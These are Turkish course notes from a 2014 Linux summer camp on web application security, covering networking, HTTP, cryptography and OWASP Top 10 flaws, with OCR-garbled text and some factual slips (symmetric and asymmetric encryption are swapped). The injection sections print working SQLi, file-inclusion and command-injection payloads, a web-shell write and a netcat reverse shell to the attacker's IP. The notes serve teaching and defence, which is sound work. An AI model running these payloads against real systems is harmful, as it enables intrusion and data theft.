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BASLANGIC

Bu belge iilkemizde web uygulama giivenligi ve giivenligi kod gelistirme hakkainda olmayan
Tiirkce kaynak sikintisi {izerine Linux kullanicilari dernegi tarafindan diizenlenen Linux Yaz Kampi
2014 — Web uygulama giivenligi ve Giivenli kod gelistirme 6grencileri tarafindan hazirlanmaya
baslanmistir. Kurs sirasinda baslayan bu istegi Nuri Akman dillendirmis ve ilk adimi atmistir. Kurs
sirasinda belgenin kiigiik bir kismi sinif tarafindan kimin ne kadar emek verdigini tam 6lgemedigim
bicimde (Yazmayan var. :) Bilgini paylas ki cogalsin arkadasim. :)) yazilmaya baslanmisgtir.

Belge kamp doniisii ses seda cikmamasina bakilarak tarafimdan The Beatles'in “Hey Jude” sarkisi
esliginde yazilip github adresimde bastan anlasildig1 gibi genel kullanima sunulmustur. Su an
belgenin en giincel haline: https://github.com/1zinnur9/wGuvenlik LYK14 adresinden
ulasabilirsiniz. Tecriibelerinizden ve bilgilerinizden eklemek istediklerinizi github iizerinden
pull-request'lerinizle bekliyorum. Belge siirekli gelisim ve erisim halinde kalacaktir.

Bana ulagmak igin:

Emailim: zinnuryesilyurt@gmail.com

Githubim: https://github.com/1zinnur9

Twitter'dan anlik ulagsmak igin: https://twitter.com/zinnur92
Blogum: http://1zinnur9.blogspot.com.tr/

Belgeye blogumda ulasabileceginiz adres: http://1zinnur9.blogspot.com/2014/09/wuglyk14.html

Umarim birilerine faydal olur. (M)
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TESEKKUR

Linux Yaz Kamp1 2014'te bizlerle ugrasip gercekten bir seyler 6grenmemizi saglayan, sabah aksam
demeden emek veren, isinden, izninden ve rahatligindan 6diin veren egitmenlerimiz Barkin Kilig,
Mehmet Dursun Ince, Siileyman Ozarslan ve Ayse Bilge Giindiiz'e sonsuz tesekkiirler. Ayni
zamanda bu giizel organizasyonu diizenleyen ve binlerce istekle, problemle ugrasan Linux
Kullanicilar1 Dernegine, Internet Kullanicilart Dernegine, Doruk Fisek'e, Mustafa Akgiil'e,
organizasyonda emegi gecen herkese, tiim hocalarimiza ve bizi egitim boyunca agarlayan Abant
Izzet Baysal Universitesine cok tesekkiir ederiz.



TEMEL WEB BiLGIiLERI

IP (Internet Protocol)

IP nedir? IP bilgisayarlarin ag iizerindeki adreslerini ifade eder. Belli bir aga katilan veya
islem goren her tiirlii makinaya IP atanabilir. Orn: Tost makinasi, buzdolabi.

IP temel anlamda TCP ya da UDP iletisimini saglar. Ag iizerinde gonderilecek paketlerin
nereye gonderilecegi IP ile belirlenir.

IP'nin temel yapis1 (IPv4 icin) 32 bitten olusur. Bu 32 bitten olusan say1y1 8'li gruplara
bolerek 2'lik tabanda ¢evirme yapariz. Boylece elimizde bulunan IP'leri elde ederiz. (192.168.1.13
gibi)

IP — Ag Simiflar

On tanimh 3 tane ag sinifi vardir. (A, B, C)

(#FIXME Aslinda 5 tane D ve E de var. Ancak onlar tekne gazintisi. Sonradan eklendiler. Ben de
bu bilgiyi sonradan hatirlayip buraya ekledim Sonradan o siniflar1 da ekleyecegim gibi. Ama
normalde internete ¢ikarken kullanmiyorsunuz onlari zaten. Bla bla bla devami sonra.)

A simfi:
- Ag maskesi 255.0.0.0
- 126 ag ve ag basina 16,777,216 Makine adresi diiser.
- 11k 8 bit'in degeri 1 ile 126 arasindadir. Yani 0.x.x.x — 126.X.X.X

B sinifi:
- Ag maskesi 255.255.0.0
- 16384 ag ve ag basina 65,536 Makine adresi diiser.
- 11k 8 bit'in degeri 128 ile 191 arasindadir. Yani 128.x.x.x — 191.x.x.X

C smufi:
- Ag maskesi 255.255.255.0
- 2,097,152 ag ve ag basina 254 Makine adresi diiger.
- 11k 8 bit'in degeri 92 ile 223 arasindadir. Yani 192.x.x.x — 223.X.X.X

LOCAL (LAN) = PRIVATE IP Adresleri:

Internette kullanilmayan IP adresleridir. Agin kendi icinde kullanilmak icin ayrilmiglardur.
Makinalara asagida ayrilan bloklardan IP'ler atanir ve tek bir IP {izerinden internete ¢ikarlar. Gelen
paketin hangi bilgisayara geldigi NAT (Natwork Address Translation) tablosundan 6grenilerek
iletilmektedir.

A simifi ; 10.x.x.xX
B smifi: 172.16.x.x - 172.31.x.xX
C smmfi : 192.168.x.x



AG Maskesi (Alt ag maskesi):

Ag maskeleri IP iizerinden ag adresine ulasabilmek icin kullanilir. Genelde IP adresinin
yanina slash isareti sonrasinda yazilan sayu ile ifade edilir. Orn: 192.168.0.0/16 Alt ag maskesi ile
TCP/IP'de iki cihazin ayni agda olup olmadiklarini IP adreslerinin ilk basamaklarina bakarak
anlayabiliriz. Bu basamaga IP maskesi veya Alt ag maskesi (IP mask veya Subnet Mask) denir.
Mesela alt ag maskesi 255.255.255.0 ise, ilk 3 basamagi (ilk 24 bit'i) ayn1 olan iki makine ayni
agdadir. 172.1.0.1 ile 172.1.0.2 ayn1 agda, 172.1.1.1 ise baska bir agdadir.

Decimal Notasyon  Binary Notasyon

255.255.255.0 111111171 11111111 11111111 00000000
& 192.168.4.3 11000000 10101000 00000100 00000011
=192.168.4.0 11000000 10101000 00000100 00000000

Onemli: Bir makinenin kendisine konusmasi (loopback) i¢in ayrilmis adresler:
127.0.0.0 ile 127.255.255.255 arasi adresler (yani maske olarak 255.0.0.0)

Onemli: Ag iizerindeki ilk IP ag tammlayicisi, son IP ise Broadcast IP'sidir.

(OKkulda Bilgisayar Aglary, Bilgi Giivenligi derslerinde I'P, TCP, UDP, OSI' Konularini Kafama
Kaziwyan saygi deger hocam Dr.Kerem Erzurumlu'ya ¢ok teseKKiir ederim. - Zinnur Yesilyurt )

fletisimin Temel Gosterimi:
Backend <----> Sunucu <----> HTTP <----> Browser

>_Backend ayaginda yer alan servisler:
* MySQL
* MSSQL
* LDAP
* Active Directory
* Access
* NoSQL

>_Sunucu ayaginda yer alan servisler:
* Apache
*11IS
* nginX
* Tomcat

> HTTP Protokolii Komutlari:

* GET : Bir kaynagin gosterimini ister.

* POST : Verilerin sunucu tarafina gonderilmesini saglar.

* OPTIONS : Sunucunun destekledigi HTTP metotlarinin bir listesini dénddirtir.

* PUT : Bir kaynagin gosterimini yiikler.

* TRACE : Alnan istegi dondiiriir. Bu islem genellikle hata ayiklama ve ag
yapilandirmasini incelemek i¢in bicilmis kaftandir. Port taramasi icin kulanilabilir. Belirtilen
kaynaga erisebiliyormuyuz onu kontrol et.



* CONNECT : Giivenlik amagh sifreleme tiineli olarak degisebilen bir proxy ile kullanilir.
Sunucuya belirtilen kaynagin getirilmesini talep eder.

* HEAD : Tam olarak GET gibi islem yapmasina ragmen gelen cevapta sadece baslklar
gortiliir. Bu yontem kaynaklarin dogrulugunu saglamak icin idealdir.
Onemli : Eger bir sistem GET ve POST metodlarina izin vermiyorsa HEAD ile istegi isletme
ihtimali vardir.

* DELETE : Bir kaynag siler.

>_Browser'da kullanilan teknolojiler
* HTML
* Flash
* Javascript
* Applet
* CSS

HTTP Protokoliinde istek formati:
[METHOD] [path] [/HTTP/1.0 veya 1.1]

Komutun calisabilmesi i¢in 2 adet ENTER (new line) olmasi gerekir. Bunu test aninda
yazarken \n\r ile ifade ederek de kullanilabilir.

Ornek:
telnet -v 10.0.0.1 80
GET /HTTP/1.0
enter
enter
(Sonug ekrana goriintiilenecektir.)

Telnet yerine ayn1 zamanda bu istek netcat komutu ile de yapilabilir.
Ornegin:

#nc- v 10.0.0.1 80

GET/HTTP/1.1

enter

enter

(Sonug ekrana goriintiilenecektir.)

HTTP Return Codes:

1xx ailesi --> Bilgilendirmeyi ifade eder. 100 = Continue, 101 = Anahtarlama gibi.

2xx ailesi --> Basariy1 ifade ederler. 200 Hersey Yolunda (OK)

3xx ailesi --> Yonlendirmeler igin kullanilir. 301, 302 Igerigin yerinin degismesi durumunda
yonlendirme i¢in kullanilir. 301 cevab igerigin kalic1 sekilde, 302 cevabi ise gecici olarak yer
degistirdigine isaret eder. 301 kodu aym zamanda server birden fazla alani barindirtyorsa istegi
anlamadigl icin bu hatay1 verir. 301 ve 302 hata kodlarim1 Google gibi arama motorlarinda bulunan
linklerin hit sayis1 diismemesi i¢in kullanilir. Google analizlerinde bu hata kodlarindan yola cikarak
index'leme iglevini devam ettirir

4xx ailesi --> Sorun bende(Server) degil sende(Client) dostum. 404, 403 bu ailenin fertleridir.
Client kaynaklh hatalar1 sembolize ederler.

5xx ailesi --> Sorun sende(Client) degil bende(Server)500 Sunucu tarafinda hata olustu, Sunucu
kaynakl hatalar



FAYDALI EKLENTILER:

Chrome icin: RESTClient
Firefox icin: Live Http Headers, HackBar, Developer Tools, Cookie Manager,RESTClient, Tamper
Data

APACHE WEBDAV:

Apache iizerinde GET, POST, PUT VE DELETE gibi komutlar1 ¢calistirilabilmek istersek su
sekilde bir tamim yapmamiz gerekir:

#vi /etc/apache2/sites-enabled/000-default (Config i¢in directory)

#cat /etc/apache2/mods-available (Mevcut olanlar goriintiilemek i¢in komut) altindaki
dav ile baglayan dosyalarin hepsini mode-enabled altina kopyala ya da In -s ile softlink yap.

<location /method>

Dav On
</location>

Boylece, WebDav ile FTP'yi HTTP protokolii tizerinden yapabiliriz.
Linux Dosya Sisteminde Link Vermek:

sky@geronimo/~$ In -s KaynakDosyaPath HedefPath
Ornegin;
sky@geronimo/~$ In-s /etc/apache2/mods-available/dav.load /etc/apache2/mods-enabled

Boylece, kaynak dosya hedefPath icine kopyalanmig gibi islem yapilir.
Yani 6rnegin,
sky@geronimo/~$ cp etc/apache2/mods-available/dav.load /etc/apache2/mods-enabled

Link dosyasin silmek igin:
sky@geronimo/~$ rm HedefPath

Eger Linux ailesine yabanci iseniz Softlink ve Hardlink keywordleri size yardimci olacaktir.
Bunu windows iizerinde kisayol olusturmak olarak da diisiinebilirsiniz.

URL'in incelenmesi:
http://www.linux.org/index.php?kelime=kitap

http: Protokol

www: subdomain

linux.org: domain

index.php: request (PATH)

kelime=Kkitap : gonderilen parametre, (query string)
index.php?kelime=kitap; kismi sunucuyla ilgili kisimdir.

Degiskenleri URL'e yazdigimiz icin bu bir HTTP GET requesttir. Ancak URL kismina yazilabilecek
data uzunlugu snirli oldugu icin, ilgili web sayfasina POST talebi gonderilip, veri BODY kisminda
gonderilir.



WEB UYGULAMA GUVENLIiGi VE GUVENLi KOD GELiSTIRME

Web Application Security Engineer:

* Programlama dili bilmeli

* Veritabani bilmeli

* Sunucu konfigurasyonu bilmeli
* Linux bilmeli

Takip Edilmesi Tavsiye Edilen Web Siteleri:

* pinterest

* highscability.com

* mongodb (Big Data)
* owasp.com

WEB SUNUCU TARAFINDA LOGLAMA

Web sunucular tarafinda erisim loglarimi goriintiilemek icin asagidaki komut kullanilir. Bu
komut ile son 10 access log goriintiilenir. Burada dikkat edilmesi gereken, COOKIE bilgisi header
da gittigi icin admin bu bilgiyi access.log ta géremez. JSESSIONID bilgisi ise access.log ta
gorinir.

sky@geronimo/~$ tail -f /var/log/apache2/access.log

HTTP session takibi yapabilen bir protokol degildir. Onun icin cerezler ile yada session id
ler ile oturumlar1 denetler.

Not: tail komutu Linux'da istediginiz dosyanin son satirlarini canli bir sekilde terminalden
gortintiiler.

HTTP HEADER PARAMETRELERI
X-Webkit-CSP : Kullanici tarafinda veri giivenligi saglanmasi noktasinda ige yarar.
CSP-Report: CSP ile yakalanan giivenlik ihlallerinin raporlanmasini saglar.

INPUT

Wireshark: Ag hareketlerini (ag tizerindeki tcp paketlerini) izlemek i¢in kullanilan faydal bir
programdir.

Tavsiye Edilen Plugin:

Firefox, Live HTTP Headers
Firefox, Modify Headers

Testlerde Kullanilabilecek Faydal Programlar:

ZAP Proxy ( owasp.org )
Burp Suite ( portswigger.com )



KRiPTOLOJi

Enconding:
* Key(Anahtar) yok.
* Ornek: Base 64
Hashing:
* Geri doniilemez
* Key olabilir
* Ornek: MD5, SHA1, SHA 256
* MAC icin anahtar var
Encryption:
* Anahtar gerekir.
* Anahtar bir ya da birden ¢ok olabilir.
* Anahtarin uzunlugu giivenlik diizeyiyle dogru orantihdir.
* Amac, acik metne saldirganin ulagsmasini engellemektir.
*2 sekilde yapilabilir: Simetrik ve Asimetrik

Simetrik Sifreleme:
* 2 alt tlirti vardir: Konvansiyonel ve Modern Y 6ntemler
Konvansiyonel Yo6ntem:
- Genelde “Onceden Paylasimli Anahtar” (Pre-Shared Key) ile calisilir.
- Omek: DES, IDEA, BlowFish, RC5, CAST
Modern Y 6ntem:
- Acik anahtar yontemi olarak da bilinir.
- Acik-Gizli anahtar ciftiyle beraber kullanilir.
- Ornek: RSA, Diffie, ECC
- Veri 2 sekilde sifrelenebilir,
— Gizli anahtar ile,
— Acik anahtar ile
Gizli anahtar ile sifrelendi ise agik anahtar ile,
Acik anahtar ile sifrelendi ise gizli anahtar ile ¢6ziilebilir.
- Gizli anahtar ile sifreleme kimlik onaylama icin kullanilir.
Bir mesajdan 6zet cikartilir,
Ozet gizli anahtar ile sifrelenir,
Alic1 mesajin 6zetini tekrar cikartir,
Acik anahar ile gelen dzeti ¢ozer,
(Cozilen anahtar ile gelen anahtar ayni ise kimlik dogrulanmis olur.
- Acik anahtar ile sifreleme giivenli iletisim i¢in kullanilir.
- Kullanicinin agik anahtariyla sifrelenen veri yanlizca o kullanici tarafindan
coziilebilir.
- Ormegin Banka vs..lerde kullanilan SSL modern yéntemlere girer.
Asimetrik Sifreleme:
- Veri bir anahtar ile sifrelenir.
- Kullania1 parolasi gibi mekanizmalarda kullanilir.
- Ornek: Unix Crypt, Windows Crypt
Unix Crypt:
56 bit sifrelemele yapar,
Anahtar olarak 2 harf kullanir;
— “ab”, “1B”, “/c” gibi...
crypt(“armut”,“ab”)= “abgQgKUl1Kvnw”
crypt(“armut”,“ac”)= “ac6FemVd5McS6”



SIFRE KIRMA:

HashCat adli program ile BrutForce teknigi kullanilarak sifre kirma islemi yapilabilir. Bu
program Ekran Kart1 islemcisini GPU olarak kullanir. Bu sekilde 25 adet GPU bir makineye
baglanmak suretiyle 348 Milyar/saniye deneme hizina ulagilmistir.

Nvidia GeForce serisi ekran kartlarinin sifre kirmak icin CUDA gibi ek 6zellikleri
bulunmaktadir.
Bakiniz: http://www.nvidia.com.tr/object/cuda-parallel-computing-tr.html

Brut Force teknigi ile MD5 sifresi kirmak icin sunlar kullanlabilir:
* hashcat.net
* openwall.com/john

Sinifta yaptigimiz uygulamada ortalama bir diziistii {izerinde hashcat programi 565
Milyon/saniye hizla deneme yaptigini1 gordiik.

OWASPTOP 10 2013

Kaynak: https://www.owasp.org/index.php/Top 10 2013-Table of Contents

Al-Injection

A2-Broken Authentication and Session Management
A3-Cross-Site Scripting (XSS)

A4-Insecure Direct Object References

A5-Security Misconfiguration

A6-Sensitive Data Exposure

A7-Missing Function Level Access Control
A8-Cross-Site Request Forgery (CSRF)

A9-Using Components with Known Vulnerabilities

A10-Unvalidated Redirects and Forwards


https://www.owasp.org/index.php/Top_10_2013-Table_of_Contents
http://www.nvidia.com.tr/object/cuda-parallel-computing-tr.html

Al-Injection

Injection saldirisinin SQL injection, Code injection, UDF injection, XML injection ¢ok
cesidi var. Biz burada en ¢ok kullanilan SQL injection ve Code injection'dan bahsedecegiz.
Digerlerine OWASP"1n sitesinden de ulasabilirsiniz. Injection'in TDK tarafindan cevrilen anlami
sokusturma oldugundan durum basit olarak sdyle: manipiile edebilecegin kod alan1 gérdiigiinde
araya kod sokustur, sql alam gordiigiinde araya sql sokustur.

1-) SQL Injection

SQLi (SQL Injections) Cesitleri:

* Union Based : Kolon sayisinin “union” ile bulunmasiyla baglanip sorgunun derinlestirilmesidir.
2 farkh select sorgusunun "union" ile birlestirildiginde ¢ikt1 verebilmesi i¢in esit sayida kolon
sayisina sahip olmali. Durumun kod iizerinde nasil gelistigini gérmek igin basit bir kod blogunu
inceleyelim:

<?php
$id = $_POST["catid"];

$q = "select * from haber where id=".$id;

$ret = mysql_query($q);
>

Input'umuz POST methoduyla kullanicidan alinan catid degeridir. catid degeri kodun asagisina
inilince sql sorgusunun icine gittigi goriilmektedir. O halde catid degiskenin degerine yazdigimiz
ifade ile SQL sorgusunu manipiile edebiliriz. Ornek olarak da catid igerisine sunu yazabiliriz:

(Tabii denemeler ile kag¢ kolon oldugunu bulduktan sonra)
union select isim, sayi from users

Burada temel durum arka taraftaki select ile iglev géren sorgunun yazpisinin neyi ekrana
doktiigiini, nasil doktiigiinii izleyerek manipiile edecek query'i buna gore olugturmaktir.

* Blind Based (Adam Asmaca gibi :) ): Deneme — yanilma methoduyla veritabanindan gelen
cevaba gore sekillenen SQLi gesididir. Ornegin “substring” kullanilarak yapilabilir.

Sql injection'da 6nemli olan kullanicidan alinan verinin sorgunun neresine gittigidir.
“select * from X where catid=5 and topicid="$id" group by ....”

Burada kirmiziyla belirttigim id degiskenin degerini union ile manipiile edemeyiz. Ciinkii group by
ifadesi sql syntax'indan dolay: hata verecektir! Onemli olan burada araya girerek yazdigimiz yeni
sorgunun caligmasidir. Buradaki 6rnekte sdyle bir yol izleyebiliriz:

topicid='3" and '1'="2' Buraya 6nce 2 yaziyoruz ki sonu¢ donmedigi haliyle burada sqli oldugunu
anliyoruz. Sonrasinda topicid='3" and '1'='1" ile ¢atir ¢utur sqli zafiyetini somiirebiliriz. Burada
farkedildigi gibi sqli incelemesinde basta union sqli gibi belirli bir durum yok her sey tamamen
tahmini ve korlemesine isliyor.



Peki burada 1 yazdik, 2 yazdik da ne oldu? $imdilik sadece zafiyet tespiti yaptik. Simdi o zafiyeti
somiirecegiz. Peki bu kadar kérlemesine giderken bunu nasil yapacagiz? Tabii ki en basta da
soyledigimiz gibi substring kullanacagiz. Ornegin yukarida and kelimesinden sonra '1'="2' gibi
ifadelerle devam ettik burada devam edebildigimiz nokta and kelimesinden sonrasi oldugu i¢in
buraya substring ile devam edecegiz.

And substring[(select @@version), 1, 1]=5
Burada kast edilen sayfa sonug¢ donerse arkadaki veritaban1 mysql'in versiyon 5'ini kullaniyor
demektir. Donmezse 6 diyerek yolumuza devam ediyoruz.

Veritabaninin sayiyla olan versiyon kismini bu yéntemle ¢ok rahat edinebiliriz. Ancak harfli olan
kisimlar igin kiiciik bir fonksiyon ekleyecegiz: ASCII

And ascii(substring[(select @@version), 2, 1])=97

Not!: Versiyon isimleri kii¢tik harfle yazildigindan kiigtik harf kontrolleri yazpiniz. Yani ASCII
tabloda kiigiik harfler béliimiinden baslayiniz. Yoksa ¢ok isiniz var.

Burada zafiyeti somiirmek i¢in versiyon isminden ziyade tablo isimleri, kullanici parolalari vs.. gibi
seyleri kontrol ederek alabilirsiniz.

* Time Based : Eger output yoksa, sleep fonksiyonunu kullanarak elimizdeki query
sokusturmalarinin ¢alisip calismadiklarini veritabaninin sleep ile versigimiz zaman degeri kadar gec
cevapla donmesinden anlariz. D6nen ise yarar bir sey yoktur ancak bizim sqli oldugunu
anlayabilmemizin sebebi sorguda sleep gonderdigimizde veritabaninin misil misil uyumasidir.

* Error Based : Veritabanina “ veya ' vs.. gibi hata vermesini saglayacak girdiler yollayarak Syntax
Errror verdirtip degiskenleri kullaniliglari, verdigi hataya gore veritabanini anlayarak zafiyeti
somiirme bicimidir.

Google'da "SQL Injection Wiki" aratilirsa injection i¢in tiim veritabanlarinda hangi
yontemler kullamldig gorebiliriz.

SQLi var m1 yok mu igin basit test:
www.sky.com/index.php?xxx=6
www.sky.com/index.php?xxx=7-1

veya
www.sky.com/index.php?xxx=6 and 1=1
www.sky.com/index.php?xxx=6 and 1=2

Eger URL'de bu gibi ifadeler yazdigimizda ekrana sonuc alabiliyorsak bu, SQL a¢iginin
varligim gosterir.

SQL Injection'dan korunma yontemleri:

Kodlama sirasinda veritabaniyla olacak iletisim kullanilan dil {izerindeki “Prepared
Statement” yapilariyla yapilmalidir. Veya basitce ORM kullanimiyla da ¢oziilebilir. Zaten ORM de
taban olarak Prepared Statement kullanir.

Ornegin PHP dilinde PDO ile Prepared Statement olusturabilirsiniz. Eger bilmiyorsaniz
kullandigimz dildeki Prepared Statement kodlamay1 6grenmelisiniz.

Bu bicimdeki kodlama uygulamanizi SQLi saldirilarina kars1 %100 koruyacaktir.



SQL injection'la ilgili uygulama detaylari:

( Linux'da TR klavyeye gecmek icin komut satirinda yazilmasi gereken kod: ~$ loadkeys trq )
( Orjinal klavye diizenine donmek icin: ~$ loadkeys us )

( Linux'da komut satirindan IP 6grenme komutu: ~$ ifconfig )

( Linux'da komut satirinda root yetkisinde komut ¢alistirmak icin: ~$ sudo komut
Not: Her ¢alistirma sonrasinda root sifresinin girilmesini ister. )

( Linux Komut satirindan her bir komutun ROOT kullanicisi yetkisinde calistirilabilmesi ve her
defasinda root sifresi istememesi igin kullanilacak komut: ~$ sudo su )

URL Encoding igin bazi 6nemli karakterler:

%00 Null Byte %09 Tab Karakteri
%20 Space karakteri %0A New Line
%0D Carrige Return %27 ' (Tek Tirnak)
%22 " (Cift Tirnak) %28 (

%29 ) %?2F -

%3D = %08 \

%23 # %26 &

%2B +

Onemli:

PHP'de parametre girisine NULL BYTE (%00) karakteri girildiginde bu karakterden sonraki
komutlar PHP tarafindan yorumlanmaz.

Ornek:

Xxxx.com/resimgoster.php ?resimadi

Dikkat edilirse, dosya uzantir1 (.jpg) program icinde eklenerek kullaniyor. Bu URL'i kirmak igin:
xxxx.com/resimgoster.php?../../../../ect/passwd%00 seklinde bir manipiilasyon kullanabiliriz.

(Linux Terminalde renkleri diizenleyebilmek icin: ~$ setterm -background white -foreground black)
*** Linux'ta genel olarak web server su dizinden hizmet verir: /var/www/

Dosya Include Etme:
Bir cok web sitesi bir dosyayi include eder ve sayfay: bu sekilde olusturur.
Ornek: xxx.com/modul=iletisim.php

Bu gibi bir sitede ../.././etc/passwd gibi bir komut ile sistemden dosya alabilmek miimkiin olur. Bir
cok durumda ise ".php" gibi dosya uzantis1 URL'den istenmez. Bu gibi durumlarda (php icin)
dosya adindan sonra konulacak %00 (null byte) ile uzant1 kisminin php tarafindan yorumlanmamasi
saglanabilir.

include edilecek dosya adindaki bir karakter nedeniyle engele takiliyorsak, asciitohex.com gibi bir
site yardimu ile dosya adinin HEX kargiigini alip kullanabilirz.
Ornek: xxx.com/modul=0x2162632e747874  ---> abc.txt

Iceri dosya birakmak suretiyle veya icerde php komutu cahistirarak siteye shell baglantisi
kurabilmek miimkiindiir.



Ornek:

Once kendi bilgisayarimizda su komutu gireriz:

nc -1 -p 444

Boylece nc programinin 444 nolu porttan dinleme baglatmasini saglamis oluruz.

Ardidan, ele gecirmek istedigimiz sisteme su komutu calistitinz:
<?php exec("nc BizimIPAdresimiz 444 -e /bin/bash"); ?>

Bu komut calistiginda ise, bizim bilgisayar ile ele gecirmek istedgimiz bilfisayar arasinda nc
baglantis1 kurulmustur. Artik sisteme bagliyiz, istedigimizi yapabiliriz :)

Bu noktadan sonra bizim bilgisayarimizdaki nc ekranindan "Is" komutu verdigimizde karsi
sistemdeki dosyalar1 listeleyebiliriz.

MySQL kullanicisina dosya okuma/yazma konusunda yetki vermek icin:
mysql -u root
use mysql;
grant file on *.* to 'username'@'localhost’;
flush privileges;
quit

MySQL'de SQLi yaparken kullanilabilecekler:

select @@version

select user()

selet database()

select load_file('/etc/passwd')

select <?php exec($_GET['cmd']); ?> into outfile './attack.php'
Bu komut ile attack.php adli dosya aktif klasor icinde olusturulur.

Boylece URL'den su sekilde cagrilarak kullanilabilir:
xxx.com/attack.php?cmd=ls

MySQL'deki Tablo Adlarini Almak Igin:
SELECT TABLE_SCHEMA, TABLE_NAME FROM information_schema. TABLES

MySQL'deki tablolarin kolon adlarim almak igin:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM
information_schema.COLUMNS



2-) Code Injection

Burada sql injection gibi query degil de direkt sistemde calisacak kodlar1 sokusturacagiz.
Ornek iizerinden gitmek gerekirse:

order=id); }system(“ls”);%23

Maviyle isarteledigim kisimda 2 parametre istiyor. 2.parametre icin kirmiziyla yazdigim
kismi vermis oluyoruz. Ana mantik sql injection ile ayni. Yani bi seyler yazabilecegin,
degistirebilecegin bir yer varsa ister kod ister query olsun. Oraya o kodu inject edeceksin ve
calisacak. (")

Bunu html kodlarinda ¢ok rahat bir sekilde kullanabilirsin. Kullanicidan alinan input kismina
CTRL+u ile sayfa kaynagini acip input'un geldigi yerden gerisini tamamlar bicimde (kapama

tag'leri) yazip igine javascript sokarak sistemden shell alabilirsin.

Tabii shell aldiktan sonra sunlar isine yarayabilir:

LINUX KOMUTU

nc icinde echo kullanirken:

nc -e :newline verir nc -n : newline vermez

whoami : Kullanic1 adim verir cat filepath : dosya icerigini ekrana gortintiiler

Linux Komut Satir1 Kullanima:

komutl && komut2 : 1.komut basarili olursa 2.komutu calisirir.

komut1 & komut2 : 1.komutu arka planda ¢alistirmaya baslar o devam ederken 2.komutu isler.
komut1 ; komut2 : 1.komut bitince 2komutu calistirir.

komut1 || komut2 : ilk komut basarisiz olursa ikinci komutu gahistirir.

komut1 | komut2 : ilk komutun ciktisini ikinci komuta girdi olarak génderir.

Command Line Injection yakalanmasi1 durumunda ";" karakteri ile bircok komutu pes pese
calistirabilmek miimkiin olur.

URL'den girilen parametreyi istedigimiz yerde sonlandirabilmek i¢in Null Byte (%00) karakteri
kullanmilabilir.

Onemli Not!:Code injectionSql injection farkinda sql injection veritabaninda calisir code injection
kod satirinda galisir.

Ornekler:

http://192.168.44.130/codeexec/examplel.php?name=jfsjnfsnj%22.system(%271s%27);%23
http://192.168.44.130/commandexec/example1.php?ip=127.0.0.1;Is
http://192.168.44.130/commandexec/examplel.php?ip=127.0.0.1%26cat/etc/passwd
http://192.168.44.130/commandexec/examplel.php?ip=www.google.com;cat%?20/etc/passwd
http://192.168.44.130/commandexec/examplel.php?ip=;1s%20../../../../../*
http://192.168.44.130/commandexec/examplel.php?ip=;mkdir%20hacked
http://192.168.44.130/commandexec/example2.php?ip=127.0.0.1%0Als



ZAP Proxy Ile Génderilecek Veriyi Maniipiile Etme:

* ZAP Proxy agilir (calistirilir)

* FireFox'da su islem yapilir: Araglar | Secenekler | Gelismis | Ag | Ayarlar | Vekil Suncuyu Elle
Ayarla (Isaretli olacak) 127.0.0.1 ve port 8080 sonra da altindaki kutucugu isaretle (Tiim kuraller
icin bu vekili kullan)

* File Upload yapacak sayfa ¢agrilir

* ZAP Proxy'de giden trafik durdurulur. (saga bakan yesil ok diigmesine tiklanir)

* File Upload sayfasindaki gonder diigmesine basilir.

* ZAP'a gecilir. Break tabinin aktif oldugu goriiliir. dosya adi ve igerigini istedigimiz gibi
maniipiile ederiz ve PLAY diigmesine basariz.

ONEMLI: dosya adinin doayadi.php.abc gibi olmas1 durumunda apache, tanimadig .abc
uzantisini reddeder ve dosyay1 php dosyasi gibi gorerek calistirir.

A2-Broken Authentication and Session Management

Bu zafiyetin 2 yonii vardir:

1-) Session Fixation (Oturum sabitleme)

1-) Hacker web sitesini agar.

2-) Uzun ve tahmin edilemez Session ID'sini ve Cookie degerini alir.

3-) Hacker aldig session bilgileri olan login sayfasini kurbana gonderir.

4-) Kurban her seyden habersiz ve masumca sisteme dogru kullanici adi ve parola ile giris yapar.
Boylece Hacker'dan gelen Cookie degerini yetkilendirmis olur.

5-) Kurban giris yaptiktan sonra hain Hacker tarayicisinda olan Cookie degeri ile giris yaptiginda
artik yetkileri vardir ve hesap tamamen elindedir.




2-) Session Prediction(Tahmin edilebilir oturum)
Tahmin edilebilme olasilig1 yiiksek olan session idlerinin atanmasi ile olusan zafiyet tiiriidiir. ID
tahmin edildikten sonrasi Session Fixation ile ayni yapida calismaktadir.

Broken Authentication and Session Management zafiyetinin en biiyiik zarara ugratabilecegi yerler
banka, e-ticaret vb... sitelerdir. Bu sitelerde para akisi1 dondiigii icin ciddi zararlar s6z konusudur. Bu
zafiyet bankalarin sitelerinde pek goriilmez.

Ornek olarak su resmi inceleyebilirsiniz: http://bit.ly/XA5h4X

Broken Authentication and Session Management Saldirilarindan Korunma
Yontemi:

Session ID Regeneration'dir. Yani yazilimsal olarak cift kontrollii bir mekanizma gerekmektedir.
Kullanicinin oturum agmadan 6nceki ve sonraki Session id degerlerinin regenerate edilmesi
gerekmektedir. C6ziimii daha ayrintil arastirmak icin "Session ID Regeneration" keyword'iinii
kullanabilirsiniz.

A3-Cross-Site Scripting (XSS)

HTML kodlarinin arasina hinzir Hacker'in gomdiigii kodlarin yine Hacker tarafinda islem goriip
kiitiir kiitiir cikt1 vermesidir.

Zafiyetin tespitine 6rnek:

http://www.blabla.com/zaaf.php?id= gibi sayfa gordiigiimiizde id= degeri 12,13 gibi sayilar
vardir. Ve veritabani igerisinde her biri bir veri satirina ait olacak sekilde listelenmistir. Biz bu
degerlerle oynayara XSS tespiti yapabiliriz.

3 tirlii XSS vardir:

1-) Reflected XSS

Temelde Request, Response istek bilgilerinin calinmasiyla yapilir. Bir linke tiklanmasi,
onload halinde olmasi vs.. zorunludur. Ornegin; en basit anlamda kullanicidan aldiginiz username
degiskenine biricik Hacker <script>alert(1);</script> yazdiginda ekranda bir alert alir. Tabii bunu
farkeden sevimli, kiiclimen Hacker sadece kendisine alert vermekle kalmaz. Artik biiyiik bir seyi
farketmistir. Ahanda javascript calistirabiliyordur. Geriye kalan tek sey artik ne istedigidir. Hangi
bilginizi istiyorsa javascript ile ona ulasmak mi? Yoksa istedigi komutlar1 ¢alistirmak mi1? OMG!
Yoksa bir shell mi? Tabii ki sizin i¢in en kétiisiinii isteyecektir.

Tabii her zaman isler bu kadar kolay degildir. Direkt “Yazdim, calisti!” olmaz. Karsida bu
yazilimi yazan arkadas belki korunmustur kendince. Belki yeni script yazamiyorsundur, kim bilir?
Bunlara 6rnek olarak mesela sen script yazinca script'i siliyorsa o anlamadan script yazacaksin.
Ama ille de yazacaksin. scSCRIPTript seklinde yazdiginda ortadaki kocaman script'i goriip yemi
